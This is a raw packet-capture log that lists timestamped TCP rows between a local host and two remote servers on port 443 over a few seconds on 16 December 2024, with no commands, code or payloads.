Dec 16, 2024 15:01:18.790915966 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.790935993 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.794177055 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.794198036 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.794297934 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.794313908 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.794539928 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.798114061 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.798131943 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.798238993 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.798260927 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.798588991 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.799343109 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.799366951 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.799433947 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.799453974 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.799479961 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.799499989 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.800911903 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.800929070 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.801002026 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.801012039 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.801059008 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.806860924 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.806878090 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.806935072 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.806957960 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.806982040 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.806998968 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.807698965 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.807723045 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.807774067 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.807790041 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.807818890 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.807835102 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.940033913 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.940062046 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.940109015 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.940134048 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.940154076 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.940176964 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.940251112 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.940273046 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.940313101 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.940341949 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.940355062 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.940479040 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.940632105 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.940656900 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.940706968 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.940736055 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.940748930 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.940937042 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.946757078 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.946775913 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.946803093 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.946808100 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.946866989 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.946930885 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.946948051 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.946995020 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.947004080 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.947047949 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.948827028 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.948853970 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.948906898 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.948921919 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.948952913 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.948973894 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.954605103 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.954623938 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.954663038 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.954667091 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.954708099 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.954751968 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.954773903 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.954798937 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.954807997 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.954829931 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.954845905 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.955739021 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.955765963 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.955813885 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.955827951 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.955856085 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.955878019 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.956818104 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.956867933 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.956881046 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.956902981 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.956954002 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.958265066 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.958297014 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.961416006 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.961435080 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.961473942 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.961481094 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.961508989 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.961550951 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.962635994 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.962657928 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.962696075 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.962703943 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.962728024 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.962752104 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.969261885 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.969284058 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.969331026 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.969338894 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.969371080 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.970316887 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.970340014 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.970376015 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.970382929 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.970418930 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.977478027 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.977498055 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.977535009 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.977543116 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.977592945 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.977685928 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.977705002 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.977735043 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.977741003 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.977767944 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.977787971 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.984313011 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.984342098 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.984383106 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.984412909 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.984427929 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.984450102 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.984500885 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.984534025 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.984565020 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.984584093 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.984599113 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.985335112 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.988014936 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.988076925 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.988137960 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.988614082 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.988634109 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.992263079 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.992281914 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.992338896 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.992346048 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.992384911 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.992405891 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.992492914 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.992522955 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.992561102 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.992574930 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.992599964 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.992611885 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.131876945 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.131902933 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.131988049 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.132016897 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.132116079 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.133057117 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.133126020 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.133148909 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.133193016 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.133215904 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.137132883 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.138446093 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.138469934 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.138498068 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.138523102 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.138535976 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.138561010 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.139636040 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.139679909 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.139731884 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.139764071 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.141128063 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.146256924 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.146281958 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.146322966 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.146347046 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.146370888 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.146392107 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.147455931 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.147480011 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.147516966 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.147552013 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.147568941 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.149142981 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.154042006 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.154066086 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.154122114 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.154145002 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.154170990 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.154177904 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.155282974 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.155308008 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.155391932 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.155426979 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.155443907 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.155592918 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.161894083 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.161921978 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.161957979 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.161978006 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.161993980 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.162018061 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.162345886 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.162370920 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.162410021 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.162446022 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.162463903 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.164988995 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.168663979 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.168689013 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.168773890 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.168781042 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.169127941 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.170391083 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.170416117 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.170452118 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.170481920 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.170500994 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.173146009 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.177119017 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.177165985 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.177186966 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.177189112 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.177198887 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.177217960 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.177220106 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.177241087 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.177253008 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.177258968 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.177270889 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.177289963 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.177293062 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.177318096 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.184942007 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.184966087 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.185014963 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.185029984 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.185075045 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.185101986 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.207297087 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.207334042 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.325221062 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.325265884 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.325397015 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.325434923 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.327406883 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.331856012 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.331888914 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.331970930 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.331981897 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.335216999 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.339725971 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.339747906 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.339804888 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.339816093 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.343210936 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.347496033 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.347518921 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.347572088 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.347583055 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.347609997 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.347630978 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.353224993 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.353272915 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.353306055 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.353312969 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.353342056 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.353351116 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:19.353396893 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.931862116 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:19.931902885 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:20.544915915 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:20.544984102 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:20.545469046 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:20.545475006 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:20.545838118 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:20.545842886 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:20.570667028 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:20.570807934 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:20.573925018 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:20.573932886 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:20.574249983 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:20.576353073 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:20.576353073 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:20.576385021 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:20.576567888 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:20.623334885 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:21.026262045 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.026304007 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.026340961 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.026344061 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.026372910 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.026381016 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.026433945 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.432375908 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:21.433250904 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:21.433434963 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:21.434077024 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:21.434077024 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:21.434093952 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:21.435751915 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.435771942 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.435801029 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.435834885 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.435867071 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.435883999 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.435916901 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.437534094 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.437561989 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.437602043 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.437608957 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.437644005 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.437664986 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.592947006 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.593020916 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.593049049 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.593065023 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.593089104 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.593116999 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.647069931 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.647123098 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.647152901 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.647171974 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.647205114 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.647222996 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.697189093 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.697237968 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.697273970 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.697285891 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.697334051 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.697355986 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.747694016 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.747770071 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.747821093 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.747854948 CET	443	49747	150.171.28.10	192.168.2.6
